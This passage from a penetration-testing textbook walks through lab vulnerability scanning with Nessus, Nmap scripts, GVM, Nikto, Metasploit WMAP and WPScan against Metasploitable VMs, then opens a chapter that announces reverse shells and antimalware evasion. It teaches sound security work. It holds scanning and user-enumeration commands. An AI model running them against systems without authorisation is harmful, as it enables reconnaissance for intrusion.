you to easily choose the most suitable template for your scanning objectives. For instance, you 
can use a pre-defined template to detect whether targeted systems are vulnerable to WannaCry, 
ZeroLogon, PrintNightmare, and even Log4Shell. For our exercise, click on Basic Network 
Scan, as shown below:

Figure 7.13: Selecting Basic Network Scan

If you don’t see the login page, wait 15 minutes and try again.
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4. Next, the scan Settings page will appear. This page allows you to set a name, a description, a 
folder to easily organize your scans, and targets. Set a name, description, and the IP address 
of the Metasploitable 3 (Windows version) virtual machine as the target, then click on Launch, 
as shown below:

Figure 7.14: Completing the scan details

WannaCry is a type of ransomware that focuses on exploiting the Server Message 
Block (SMB) protocol within Microsoft Windows operating systems. ZeroLogon, 
recorded as CVE-2020-1472, is a security vulnerability found within Microsoft 
Windows NetLogon Remote Protocol (MS-NRPC) that enables threat actors to 
gain unauthorized, administrative access to Active Directory servers on a network. 
PrintNightmare belongs to a series of security vulnerabilities associated with the 
Windows Print Spooler services on Windows-based systems. This vulnerability 
enables a threat actor to execute arbitrary code remotely to gain system-level priv-
ileges on a targeted system. Log4Shell, recorded as CVE-2021-44228, is a security 
vulnerability found within the Apache Log4j library that enables threat actors to 
remotely execute arbitrary code.

To learn more about the various Nessus scanning templates, please visit https://
docs.tenable.com/nessus/Content/ScanAndPolicyTemplates.htm.

https://docs.tenable.com/nessus/Content/ScanAndPolicyTemplates.htm
https://docs.tenable.com/nessus/Content/ScanAndPolicyTemplates.htm
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As shown in the preceding screenshot, there are various options and sub-menus, such as the 
following:

• The Credentials tab enables you to specify login credentials and allows Nessus to log in 
to the targeted system to retrieve specific information that’s not easily available when 
performing a non-credential scan. 

• Scheduling allows penetration testers to automate their scans over a period of time.
• Notifications allows Nessus to send email notifications when scans have started and 

completed.
• DISCOVERY specifies port scanning options.
• ASSESSMENT enables you to choose whether Nessus scans for web vulnerabilities. 
• REPORT allows you to specify how Nessus handles the processing of information that 

will be shown in its report.
• ADVANCED enables you to specify how much traffic Nessus will send on the network, 

this is useful for low-bandwidth networks.

5. Next, Nessus will begin scanning the target and will display the progress within the My Scans 
summary window, as shown below:

Figure 7.15: Checking scan progress

6. When the scan is complete, Nessus will automatically update the scan status, and the scan will 
be saved within the My Scans section, as shown below:

Figure 7.16: Scan completion
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Part 3 – vulnerability analysis
Using vulnerability scanners such as Nessus can help us automate our process of vulnerability discovery 
and classification. As an aspiring ethical hacker and penetration tester, it’s essential to understand how 
to perform vulnerability analysis on reported data. In addition, it’s important to ensure that Nessus 
and any other vulnerability scanners have up-to-date vulnerability databases to ensure the scanner 
is able to identify the latest vulnerabilities, thus making the tool more effective for ethical hackers 
and penetration testers.

To get started with vulnerability analysis with Nessus, please use the following instructions:

1. To view the scan results, click on My Scans | Identifying Vulnerability on Target1, as shown 
below:

Figure 7.17: Selecting the completed scan

The following screenshot shows a summary of all the security vulnerabilities that were found 
on the targeted system:

Figure 7.18: Scan summary
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As shown in the preceding screenshot, Nessus provides a very nice and easy-to-understand 
view of all the security vulnerabilities that were discovered. Both the column and doughnut 
charts provide an overview of how many security vulnerabilities were found based on their 
severity ratings and scores.

2. To view a list of all discovered security vulnerabilities, click on the Vulnerabilities tab, as 
shown below:

Figure 7.19: Listing of security vulnerabilities 

As shown in the preceding screenshot, Nessus has grouped multiple security vulnerabilities 
together.

3. Next, click on the CRITICAL severity group to display all the security vulnerabilities that belong 
to this group, as shown below:

Figure 7.20: Viewing critical vulnerabilities 
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As shown in the preceding screenshot, Nessus has listed the security vulnerabilities in order of 
most to least severe. As a penetration tester, this is an indication of the security vulnerabilities 
that are most likely to have a large impact on the targeted system.

4. Next, click on any one of the critical vulnerabilities to view more details about it, as shown 
below:

Figure 7.21: Viewing vulnerability description 

As shown in the preceding screenshot, Nessus provides a description to help cybersecurity 
professionals better understand the risk of having this security vulnerability on a system and 
its impact. In addition, Nessus also provides solutions to remediate this security vulnerability 
and provide the security posture of the targeted system or asset owned by the organization.

5. Furthermore, Nessus provides its Vulnerability Priority Rating (VPR) scoring system to help 
cybersecurity professionals prioritize their resources in resolving this security risk, as shown 
below:

Figure 7.22: Viewing the VPR key drivers 



Performing Vulnerability Assessments256

6. Additionally, Nessus provides the metrics that were used by the Common Vulnerability Scoring 
System (CVSS) to calculate the severity of the vulnerability, as shown below:

Figure 7.23: CVSS scoring

7. Next, let’s take the CVSS 3.0 Vector and insert it into the calculator to determine how a threat 
actor would compromise a system with this vulnerability:

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

8. Next, append the CVSS 3.0 Vector to the end of the following URL:

https://www.first.org/cvss/calculator/3.0#

The following is the final version of the URL, with the CVSS 3.0 Vector as the suffix:

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/
I:H/A:H

9. Upon visiting the preceding URL, you will see how the vectors were allocated to determine 
the vulnerability score of 9.8, as shown below:

Cybersecurity professionals and researchers may use the CVSS calculator at 
https://www.first.org/cvss/calculator/3.1 to determine the severity rating 
and score of security vulnerabilities on systems. This calculation helps industry 
experts to determine the risk factors when classifying security vulnerabilities 
based on severity rating, risk level, and impact.

https://www.first.org/cvss/calculator/3.0#
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
https://www.first.org/cvss/calculator/3.1
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Figure 7.24: CVSS metrics

As shown in the preceding screenshot, a threat actor will need to create an exploit that needs to be 
delivered across a Network (N) path with a Low (L) attack complexity, which requires None (N) priv-
ileges to be successful. Furthermore, None (N) human user interactions are needed, due to which 
the scope of the attack will remain Unchanged (U). Once the exploit takes advantage of the security 
vulnerability in the targeted system, the impact on the confidentiality, integrity, and availability of 
the system will be High (H).

Part 4 – exporting vulnerability reports
Generating a report from Nessus helps you quickly reference vulnerabilities and their descriptions after 
a penetration test. In this section, you will learn how to generate various types of reports using Nessus.

To complete this exercise, please use the following instructions:

1. On the Nessus dashboard, click on Report as shown below:

Figure 7.25: Finding the Report option
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2. Next, a pop-up window will appear and provide you with various report generation options. 
Choose the Report Format and Report Template and then click on Generate Report, as shown 
below:

Figure 7.26: Generating a report

3. Once the report is generated, ensure you save it on your desktop and open it using a PDF 
reader, as shown below:

Figure 7.27: Viewing a report
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4. Lastly, use the following commands to stop the Nessus service when you’re no longer using 
the application:

kali@kali:~$ sudo /bin/systemctl stop nessusd.service

Having completed this section, you have learned how to use Nessus to perform a vulnerability assess-
ment on a target during a penetration test. In the next section, you will learn how to identify security 
vulnerabilities using Nmap.

Vulnerability identification using Nmap
The Nmap Scripting Engine (NSE) is one of the most powerful features of Nmap. It enables penetration 
testers and security researchers to create, automate, and perform customized scanning on targeted 
systems. When working with NSE, the scanning techniques are usually aggressive and have the potential 
to cause unexpected data loss or even crash the targeted system. However, NSE allows a penetration 
tester to easily identify security vulnerabilities and determine whether the target is exploitable.

There are 600+ pre-built scripts that belong to the following NSE categories:

• Auth: This category contains scripts that scan a targeted system to identify whether authen-
tication bypass is possible.

• Broadcast: This category contains scripts that are used to discover host systems on a network.
• Brute: This category contains scripts that are used to perform some types of brute-force attacks 

on a remote server with the intention of gaining unauthorized access.
• Default: This category contains a set of default scripts within NSE for scanning.
• Discovery: This category contains scripts used in active reconnaissance to identify network 

services on a targeted system.
• DoS: This category contains scripts that simulate a Denial-of-Service (DoS) attack on a targeted 

system to check whether it’s susceptible to such types of attack.
• Exploit: This category contains scripts that are used to actively exploit security vulnerabilities 

on a target.
• External: This category contains scripts that usually send data that’s been gathered from a 

targeted system to an external resource for further processing.
• Fuzzer: This category contains scripts that are used to send random data into an application 

to discover any software bugs and vulnerabilities within applications.
• Intrusive: This category contains high-risk scripts that can crash systems and cause data loss.
• Malware: This category contains scripts that can determine whether a target is infected with 

malware.

If the organization is sensitive to disruption or includes Operational Technology (OT) as-
sets, the penetration tester should get explicit written permission to run aggressive scripts.
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• Safe: This category contains scripts that are not intrusive and are safe to use on a targeted 
system.

• Version: This category contains scripts used to gather the version information of services on 
a targeted system.

• Vuln: This category contains scripts used to check for specific vulnerabilities in a targeted 
system.

To get started working with NSE to identify security vulnerabilities, please use the following instruc-
tions:

1. Power on Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to view a list of locally 

available NSE scripts:

kali@kali:~$ ls -l /usr/share/nmap/scripts

The following screenshot shows there are 4,000+ NSE scripts within the /usr/share/nmap/
scripts directory on Kali Linux:

Figure 7.28: Viewing NSE scripts

3. To filter all File Transfer Protocol (FTP) NSE scripts, use the following commands:

kali@kali:~$ ls -l /usr/share/nmap/scripts/ftp*

As shown in the following screenshot, the * works as a wildcard to show all scripts that begin 
with ftp:

 

Figure 7.29: Filtering FTP scripts

To learn more about NSE, please see https://nmap.org/book/nse.html. For a full list 
of NSE scripts, please see https://nmap.org/nsedoc/scripts/.

https://nmap.org/book/nse.html
https://nmap.org/nsedoc/scripts/
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4. Next, let’s use Nmap to determine whether the targeted system (Metasploitable 2) is running 
an FTP service and determine the service version:

kali@kali:~$ sudo nmap -sV -p 20,21 172.30.1.49

Figure 7.30: Performing scan using Nmap

As shown in the preceding screenshot, port 21 is open and the service is identified as vsftpd 
2.3.4 on the targeted system.

5. Next, let’s use one of the NSE scripts to determine whether vsftpd is vulnerable on the target:

kali@kali:~$ sudo nmap --script ftp-vsftpd-backdoor 172.30.1.49

The --script command allows you to specify either a single script, multiple scripts, or a 
category of scripts. The following screenshot shows the results of performing a scan on our 
victim machine:

Figure 7.31: Identifying security vulnerability

As shown in the preceding screenshot, the ftp-vsftpd-backdoor script was used to check 
whether the target is vulnerable to a backdoor present within the vsFTPd 2.3.4 application. 
As a result, NSE indicated the targeted system is running a vulnerable service.
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6. Now that a vulnerability has been found, the next step is to determine whether there are ex-
ploits that can leverage this security weakness. The following screenshot shows the results of 
performing a Google search for known exploits for the VSFTPd 2.3.4 service:

Figure 7.32: Researching the vulnerability on the internet

As shown in the preceding screenshot, there’s a link for an exploit from Rapid7, the creator of 
Metasploit. Using this Rapid7 URL, you can gather further details on how to exploit the vulner-
ability using Metasploit on Kali Linux. Additionally, notice the second URL within the Google 
search result, which is from Exploit-DB. This is a trusted exploit database that is maintained 
by the creators of Kali Linux and Offensive Security. These are two trusted online resources 
for gathering exploits during a penetration test.

7. Additionally, within Kali Linux, there is a tool known as searchsploit that allows you to perform 
a query/search for exploits within the offline version of Exploit-DB on Kali Linux. 

The following screenshot shows the search results when using the searchsploit command:

Figure 7.33: Using searchsploit

The sudo nmap --script-updatedb command can be used within Kali Linux 
to ensure the NSE scripts are up to date.



Chapter 7 263

As shown in the preceding screenshot, searchsploit was able to identify multiple exploits 
from the local, offline version of the Exploit-DB database. Notice that there is a particular entry 
that indicates there’s already an exploit module within Metasploit.

The following screenshot shows the vsFTPd exploit module within Metasploit:

Figure 7.34: Using Metasploit to find the exploit module

As shown in the preceding screenshot, this exploit module can take advantage of security vul-
nerabilities that are found within any Linux-based system, which is running vsFTPd version 
2.3.4. If the exploit is successful, the penetration tester will be able to create a backdoor with 
Remote Code Execution (RCE) on the targeted system.

8. If you want to execute an entire category of scripts, you can use the nmap --script <category-
name> command, as shown here:

kali@kali:~$ sudo nmap --script vuln 172.30.1.49

When using the vuln category, NSE will use all the vulnerability detection scripts to check for 
security weaknesses on the target. As shown in the following screenshot, additional security 
flaws were discovered on the Metasploitable 2 victim machine:

Figure 7.35: Identifying security vulnerabilities

Many vulnerability scripts can be used within Nmap as part of NSE. Please be sure 
to check out the complete list at https://nmap.org/nsedoc/categories/vuln.
html, where you will be able to identify the names and details of each script that 
can be found within the vulnerability category.

https://nmap.org/nsedoc/categories/vuln.html
https://nmap.org/nsedoc/categories/vuln.html
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As an aspiring ethical hacker and penetration tester, you have learned how to perform various scanning 
techniques to fingerprint and discover security vulnerabilities on host systems within a network using 
Nmap. Fingerprinting involves port scanning, banner grabbing of network services, packet analysis, 
analyzing HTTP responses, and identifying the operating system on the targeted system. Using the 
information found within this section can help you in researching exploits and payloads that can take 
advantage of these security vulnerabilities.

In the next section, you will learn how to install and use an open source vulnerability management 
tool on Kali Linux.

Working with Greenbone Vulnerability Manager
The Open Vulnerability Assessment Scanner (OpenVAS) tool is a free vulnerability scanner that al-
lows both ethical hackers and penetration testers to perform a vulnerability assessment on a network. 
OpenVAS can scan both authenticated and unauthenticated vulnerability assets within an organization.

When using an authenticated scan, the penetration tester provides valid login credentials to the 
vulnerability scanner, which allows it to authenticate to a system to provide a thorough scan for any 
misconfigurations on the target system’s settings. However, the unauthenticated scan is usually not as 
thorough since it looks for any security vulnerabilities on the surface of the target and provides a report.

Greenbone Vulnerability Manager (GVM) is a centralized management tool that manages the functions 
and vulnerabilities of OpenVAS. OpenVAS is the engine for the actual vulnerability scanning, whereas 
GVM serves as the framework that includes OpenVAS for vulnerability management. It’s worth noting 
that GVM was formerly known as OpenVAS before restructuring.

Part 1 – installing GVM
In this exercise, you will learn how to set up GVM on Kali Linux and perform a vulnerability assess-
ment on a target using OpenVAS. To get started with this exercise, please use the following instructions.

1. Power on the Kali Linux virtual machine and ensure it has internet connectivity.
2. On Kali Linux, open the Terminal and use the following commands to update the local software 

package repository list file and install the GVM package:

kali@kali:~$ sudo apt update
kali@kali:~$ sudo apt install gvm

Authenticated scans, by using valid login credentials, can perform checks against internal 
files, configurations, and more detailed system information, thereby identifying vulnera-
bilities that unauthenticated scans cannot detect due to their lack of permissions.
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3. During the installation, you may be prompted to restart various services. Ensure you use the 
spacebar on your keyboard to select the services to be restarted, then use the Tab key to move 
between options and hit Enter on Ok, as shown below:

Figure 7.36: Restarting the network manager prompt

4. Once the installation is complete, reboot the Kali Linux virtual machine and log in to continue.
5. Next, use the following commands to initialize the setup process and generate default user 

credentials:

kali@kali:~$ sudo gvm-setup

The setup process usually takes a while to complete as it downloads additional updates and 
plugins. Once the setup process is completed, the default admin account is created with a 
randomized password, as shown below:

Figure 7.37: User account created

6. Next, use the sudo gvm-check-setup command to verify that GVM is set up correctly.
7. Next, open the web browser within Kali Linux and go to https://127.0.0.1:9392 to access 

the web interface for GVM.
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8. Use the default admin user account that was created at the end of the setup process and log 
in, as shown below:

Figure 7.38: Login page

9. After logging in, click on Administration | Feed Status as shown below:

Figure 7.39: Locating the Feed Status menu

GVM will continue to download additional Cyber Threat Intelligence (CTI) from multiple 
trusted online sources to ensure the vulnerability scanning engine within GVM has the latest 
updates and signatures to identify the latest security flaws on the system, as shown below:
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Figure 7.40: Checking the vulnerability feeds

The download process usually takes a long time to complete. Once all content is updated, the 
feed status will automatically change, as shown below:

Figure 7.41: Verifying vulnerability feeds updated

Ensure all threat feeds are updated before performing any vulnerability scans on targeted systems.

Part 2 – vulnerability identification
To use GVM to identify security vulnerabilities on a targeted system, please use the following instruc-
tions:

1. On the GVM dashboard, click on Configurations | Targets to set our target host, as shown below:

Figure 7.42: Locating the Targets option
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2. Next, click on the New Target icon that’s located in the top-left corner.
3. In the New Target window, ensure you set a Name and Hosts (IP address of Metasploitable 3) 

and click on Save, as shown below:

Figure 7.43: Setting a target details

4. As shown in the preceding screenshot, the New Target window provides additional options 
such as entering user credentials to perform credential scanning to obtain more information. 
Furthermore, you can specify multiple targeted systems from a list and exclude specific targets 
if you’re scanning a range of addresses.

5. Next, create a new scan task by clicking on Scans | Tasks, as shown below:

Figure 7.44: Locating the Tasks menu
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6. Next, click on the Magic Paper icon (top-left corner), then New Task, as shown below:

Figure 7.45: Create a new task

7. On the New Task window, enter the name of the task and select Scan Targets from the drop-
down menu, then click on Save, as shown below:

Figure 7.45: New Task window

8. Next, the new scan task will appear in the lower section of the same page. Click on the Play 
icon to start the scan on the targeted system, as shown below:

Figure 7.47: Starting a task
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9. The task status will change automatically during this process. Once the task is complete, the 
status will change to Done and display its results, as shown below:

Figure 7.48: Task complete view

Part 3 – vulnerability analysis and reporting
To perform vulnerability analysis using GVM, please use the following instructions:

1. To view the results of the report, click on Scans | Reports, as shown below:

Figure 7.49: Vulnerabilities shown in graph format

As shown in the preceding screenshot, GVM analyzed and categorized the discovered security 
vulnerabilities into High, Medium, Low, Log, and False Positives. This categorization aids 
cybersecurity professionals by providing a clear prioritization framework.
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High-severity vulnerabilities, which pose immediate and serious threats, are prioritized, where-
as medium and low severities indicate lower risks. Log entries, typically informational, do 
not necessarily indicate security weaknesses, while false positives are incorrectly identified 
vulnerabilities.

This structured approach supports efficient decision-making and resource allocation, focusing 
efforts on mitigating critical vulnerabilities first. Additionally, the dynamic nature of vulnera-
bilities and the ability to integrate GVM with other security tools underscore its essential role 
in maintaining a robust cybersecurity posture.

2. To view a detailed list of identified security vulnerabilities, click on the report date, as shown 
below:

Figure 7.50: Selecting the vulnerability report

Then, click on the Results tab to view a list of all security vulnerabilities and their severity 
levels that were found on the targeted system, as shown below:

Figure 7.51: List of security vulnerabilities 
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3. To view the description of a vulnerability, click on any one from the results list, as shown below:

Figure 7.52: Vulnerability results

Using the information shown in the preceding screenshot, ethical hackers and penetration 
testers will gain better insights into the impact a vulnerability has on a system if it’s exploited 
by an adversary. In addition, ethical hackers can use this information to develop or acquire 
exploits to compromise multiple systems with the same security flaw on the targeted network.

As shown in the preceding screenshot, the following is a breakdown of the results:

• Summary: The Summary section provides the user with an overview of the results.
• Detection results: The detection results provide specific information about each secu-

rity vulnerability found during the scan.
• Product detection result: This section provides specific information about the appli-

cations and services that were found during the scan of the targeted system.
• Insight: The Insight section provides additional details on the detected security vul-

nerability.
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• Detection method: The detection method contains the method used by Nessus to iden-
tify the security vulnerability in the targeted system.

• Affected software/OS: This section specifies the list of software, applications, and op-
eration systems that are affected by the security vulnerability.

4. Lastly, use the sudo systemctl stop gvmd command to stop GVM.

In this section, you have learned how to set up and work with GVM to identify security vulnerabilities 
in a targeted system. In the next section, you will learn how to use common tools to identify security 
flaws in web applications.

Using web application scanners
As an aspiring penetration tester, you will also be required to perform web application security testing 
based on the scope of your penetration testing engagements. Web application security testing aims to 
identify vulnerabilities that could be exploited by attackers, such as SQL injection, cross-site scripting 
(XSS), and security misconfigurations. In this section, you will learn how to use various types of web 
application scanners to identify and fingerprint web applications on a target server.

Let’s get started!

WhatWeb
WhatWeb enables ethical hackers and penetration testers to identify and fingerprint the type of tech-
nologies that are running on web application servers. WhatWeb is pre-installed on Kali Linux and 
should be part of your arsenal of tools during your reconnaissance and vulnerability assessment phase.

To profile a targeted web server using WhatWeb, please use the following instructions:

1. Firstly, power on the Kali Linux and Metasploitable 3 (Windows version) virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to identify whether there’s 

a web application running on the target:

kali@kali:~$ nmap -p 80,443,8080 172.30.1.48

As shown in the following screenshot, web services were found on port 80 and 8080:

Figure 7.53: Running an Nmap scan
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3. Next, use the following commands to profile the web server:

kali@kali:~$ whatweb http://172.30.1.48

As shown in the following screenshot, WhatWeb was able to identify the web application and 
additional web technologies on the targeted system:

Figure 7.54: WhatWeb output

As an aspiring ethical hacker and penetration tester, some tools will help you gather information 
about the web server, while others will discover security vulnerabilities. It’s important to research 
all the technologies that are found on a targeted web server when using WhatWeb; many security 
researchers share their findings and disclosure vulnerabilities to help others fight the battle against 
cyber criminals. WhatWeb is a tool designed for web fingerprinting, which helps in identifying the 
components that make up a web server.

To put it simply, WhatWeb provides the following details:

• The web application and its versions
• The web technologies and their versions
• The host operating system and its versions

By researching the version numbers of each technology, you will be able to find exploits that could 
take advantage of the vulnerabilities in the targeted system. In the next section, you will learn how 
to use Nmap to discover web application vulnerabilities.

Nmap
As you have learned, Nmap has a lot of very cool features and enables penetration testers to perform 
various types of scanning on targeted systems to discover specific details about them. Within NSE, 
many scripts are already pre-loaded onto Kali Linux.

Using the following command, you will be able to see an entire list of all the Nmap scripts that begin 
with http:

kali@kali:~$ ls /usr/share/nmap/scripts/http*

Web application protocols such as HTTP and HTTPS operate on ports 80, 443, 
and 8080.
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From the list, you can choose to use a particular script to check for HTTP vulnerabilities on a target-
ed system. Let’s imagine you want to identify whether a web application is vulnerable to Structured 
Query Language (SQL) Injection attacks. The http-sql-injection NSE script will be able to identify 
such security flaws.

The following Nmap command shows how to invoke the SQL Injection script and perform a scan on 
a target that has port 80 open for web services:

kali@kali:~$ nmap --script http-sql-injection -p 80 172.30.1.49

The following screenshot shows Nmap was able to identify possible SQL Injection at multiple points 
on the target:

Figure 7.55: Nmap scan results

As shown in the preceding screenshot, the Nmap script was able to automate the process of checking 
whether various URLs and paths are susceptible to a possible SQL Injection attack.

NSE is a powerful feature of Nmap that allows users to write scripts to automate a wide 
range of networking tasks, including vulnerability detection, exploitation, and network 
discovery. While many NSE scripts can be leveraged to identify security vulnerabilities in 
web applications, it’s important to always identify the service version of the web application 
by simply using the -A or -sV syntax when performing an initial scan to profile your target.

Once you have identified the web application’s service version, use the internet to research 
known vulnerabilities. As a penetration tester, it’s always good to perform additional 
research on vulnerabilities as you may find more information on how to compromise 
the target.
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Be sure to perform additional scanning on the target to discover any hidden security vulnerabilities, 
and use the information found at https://nmap.org/nsedoc/ to gain an in-depth understanding of 
the purpose of various NSE scripts. In the next section, you will learn how to use Nikto to check for 
web application vulnerabilities on a target.

Nikto
Nikto is an open source web application scanner that comes pre-installed within Kali Linux. This tool 
allows penetration testers to easily automate the process of identifying security vulnerabilities that 
may exist within a web application on a web server. To put it simply, Nikto is designed to test various 
types of web servers and web applications for outdated server software, potentially dangerous files/
scripts, and default files and programs.

To get started using Nikto, please use the following instructions:

1. Power on the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to scan the web application 

on Metasploitable 2:

kali@kali:~$ nikto -h 172.30.1.49

The following screenshot shows some of the scan results from our target system:

Figure 7.56: Nikto scan results

As shown in the preceding screenshot, Nikto can identify various security vulnerabilities 
within the target web application. They are listed in bullet format, and the + icon is used to 
indicate a new result. 

Using the -h syntax allows you to specify the target’s hostname or IP address. To 
learn more about various scanning options, use the nikto --help command.

https://nmap.org/nsedoc/
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Take some time to read each line thoroughly as Nikto helps security professionals understand the 
details of the security vulnerabilities. It also provides references to where the flaws were found and 
how to resolve those weaknesses. Next, you will learn how to identify web application vulnerabilities 
using Metasploit.

Metasploit
In this section, you will learn how to leverage the power of Metasploit to discover security vulnerabil-
ities on a web application server. For our target, we’ll be using the Metasploitable 2 virtual machine. 
To get started with this exercise, please use the following instructions: 

1. Firstly, power on both the Kali Linux and Metasploitable 2 virtual machines.
2. On Kali Linux, open the Terminal and use the following command to start the PostgreSQL 

database and initialize Metasploit:

kali@kali:~$ sudo service postgresql start
kali@kali:~$ sudo msfdb init

3. Next, use the following commands to access the Metasploit framework:

kali@kali:~$ msfconsole

4. Then, use the following command to load the WMAP web vulnerability scanner module within 
Metasploit:

msf6 > load wmap

The following screenshot shows the execution of the preceding commands and the WMAP 
plugin loaded successfully:

Figure 7.57: Loading WMAP

5. Next, use the following commands to set the targeted system as Metasploitable 2:

msf6 > wmap_sites -a http://172.30.1.49
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The following screenshot shows how to set the targeted host within the WMAP web vulnera-
bility scanner:

Figure 7.58: Setting a target in WMAP

6. Next, use the following commands to specify the URL of the targeted web application. We’ll be 
targeting the Mutillidae web application within the Metasploitable 2 virtual machine:

msf6 > wmap_targets -t http://172.30.1.49/mutillidae/index.php

The following screenshot shows the expected results once the target has been set:

Figure 7.59: Setting a URL

As shown in the preceding screenshot, the target web application has been set to Mutillidae 
within the host system.

7. Next, use the following commands to automatically load various web scanning modules from 
Metasploit for security testing:

msf6 > wmap_run -t

The following screenshot shows many Metasploit web scanning modules that are being loaded 
into the WMAP web vulnerability scanner:
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Figure 7.60: Launching the scan

8. Once the web scanning modules have been loaded, use the following commands to perform 
web security testing on the target web application:

msf6 > wmap_run -e

9. When the WMAP scan is complete, use the following command to view a list of web security 
vulnerabilities that have been discovered by the WMAP web scanner within Metasploit:

msf6 > wmap_vulns -l

10. Lastly, use the vulns command to see the overall results of the security assessment from WMAP:

msf6 > vulns

If Metasploit is able to identify vulnerabilities based on their CVE IDs, it will be 
shown with the vulns command.
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Having completed this exercise, you have learned how to use Metasploit to identify web application 
vulnerabilities. Next, you will learn how to perform a vulnerability scan on a target WordPress web 
application using WPScan.

WPScan
While there are many web applications within the e-commerce industry, there are many organizations 
that deploy the WordPress web application as their preferred Content Management System (CMS). 
While WordPress provides a very stylish and clean presentation of websites, many organizations do 
not always update their WordPress platforms and plugins, thereby leaving their web server and web 
application vulnerable to potential cyber-attacks from threat actors on the internet.

Within Kali Linux, you will learn about the WPScan tool, which allows penetration testers to perform 
vulnerability scanning and enumeration on the WordPress web application on a target server.

To get started with this exercise, please use the following instructions:

1. Firstly, power on both Kali Linux and Metasploitable 3 (Windows version) virtual machines.
2. On Kali Linux, open the Terminal and use the following commands to update the WPScan 

database:

kali@kali:~$ wpscan --update

3. Next, use the following commands to identify security vulnerabilities on the WordPress web 
application on the Metasploitable 3 (Windows version) virtual machine:

kali@kali:~$ wpscan --url http://172.30.1.48:8585/wordpress --no-update

The following screenshot shows the vulnerability scan’s results:

Figure 7.61: WPScan results

WordPress is one of the most popular CMSs, used not only in the e-commerce sector but 
across a wide range of industries due to its flexibility, extensibility, and ease of use.
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As shown in the preceding screenshot, WPScan will check each component of the WordPress 
installation and configuration on the remote target and provide details of its findings.

4. Next, use the -e u commands to enumerate the username(s) for any logon accounts on the 
targeted WordPress web application, as shown below:

kali@kali:~$ wpscan --url http://172.30.1.48:8585/wordpress --no-update 
-e u

As shown in the following screenshot, WPScan was able to identify the login usernames of 
the targeted web server:

Figure 7.62: Usernames found

As you have seen, it’s quite simple to perform a vulnerability scan on a WordPress server and 
gather a list of potentially authorized usernames on the target server.

Having completed this section, you have learned how to perform web scanning using various tools 
and techniques within Kali Linux. Having gathered a list of web application security vulnerabilities, 
with some additional research, you will be able to find working exploits to test whether these vulner-
abilities are truly exploitable.

To learn more about WPScan, please see https://www.kali.org/tools/wpscan/.

https://www.kali.org/tools/wpscan/
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Summary
In this chapter, you have learned about the importance of discovering security vulnerabilities within 
an organization and its assets. You also gained hands-on experience and skills with using various tools, 
such as Nessus, Nmap, and GVM, to perform security assessments on systems. You also discovered 
how various tools, such as WhatWeb, Nikto, and WPScan, can be used to easily identify security flaws 
in web applications.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you on your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, Understanding Network 
Penetration Testing, you will focus on how to use various techniques and strategies when performing 
network penetration testing.

Further reading
• Understanding Nessus: https://www.techtarget.com/searchnetworking/definition/Nessus
• Nmap Scripting Engine (NSE): https://nmap.org/book/man-nse.html
• Nmap NSE scripts: https://nmap.org/nsedoc/scripts/
• CVSS scoring system: https://www.first.org/cvss/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://www.techtarget.com/searchnetworking/definition/Nessus
https://nmap.org/book/man-nse.html
https://nmap.org/nsedoc/scripts/
https://www.first.org/cvss/
https://packt.link/SecNet


8
Understanding Network 
Penetration Testing

When breaking into the offensive side of cybersecurity, it’s essential for aspiring ethical hackers and 
penetration testers to gain a solid understanding of the importance of network penetration testing 
and common techniques of setting up reverse and bind shells between a targeted system and their 
attacker machine. Furthermore, learning how to develop custom payloads and evade antimalware 
detection helps penetration testers determine whether the cyber defense at a targeted organization 
has the capability of detecting malicious code over their network.

In this chapter, you will learn about the importance of network penetration testing and how it helps 
organizations identify hidden security vulnerabilities on their assets and better understand how an 
adversary can compromise their systems. Furthermore, you’ll gain hands-on experience working 
with both bind and reverse shells between your attacker machine and a targeted system. In addition, 
you’ll learn how to develop and conceal malicious payloads to evade antimalware programs. Lastly, 
you’ll learn how to work with wireless network adapters and use them for Monitoring wireless systems 
within the vicinity.

In this chapter, we will cover the following topics:

• Introduction to network penetration testing
• Working with bind and reverse shells
• Antimalware evasion techniques
• Working with wireless adapters
• Managing and Monitoring wireless modes

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Kali Linux – https://www.kali.org/get-kali/
• Shellter – https://www.shellterproject.com/introducing-shellter/
• Alfa AWUS036NHA wireless B/G/N USB adapter
• Alfa AWUS036ACH long-range dual-band AC1200 wireless USB 3.0 Wi-Fi adapter

Introduction to network penetration testing
Network penetration testing is the systematic approach and techniques used by ethical hackers and 
penetration testers to simulate a real-world cyberattack on a targeted organization, its systems, and 
networks, with the intention of discovering hidden security vulnerabilities and providing recom-
mendations for implementing countermeasures and security controls to mitigate and prevent a real 
adversary from compromising the organization and its assets. During the technical phases of network 
penetration testing, the ethical hacker or penetration tester uses similar Tactics, Techniques, and Pro-
cedures (TTPs) as a real adversary to test the cyber defenses, Monitoring, and prevention techniques 
of the organization’s security team, and to identify security flaws on targeted systems.

Based on the findings during the technical phases of the penetration test, the information collected 
can be leveraged to better understand how a real attacker will discover security flaws, the method of 
attack, possible tools and infrastructure used to set up the attack and deliver a payload to the target, 
and the potential impact if a real attack were to occur on the organization’s systems and network. 
Such information is commonly referred to as Cyber Threat Intelligence (CTI). This data is used by 
the penetration tester to provide insights to stakeholders on their cyber risk, types of security vulner-
abilities, and severity ratings, as well as what can be done to resolve the security vulnerabilities while 
improving the organization’s security posture.

The following are typical phases of network penetration testing:

1. Defining the scope: The scope provides a clear understanding of which systems and networks 
are to be tested and whether specific tools or techniques are restricted.

2. Performing reconnaissance: This is the information-gathering phase, where the penetration 
tester performs both passive and active reconnaissance on the target.

Note that not all wireless network adapters support Monitoring mode and packet injection. 
Packet injection involves the capability of sending custom packets to a targeted wireless 
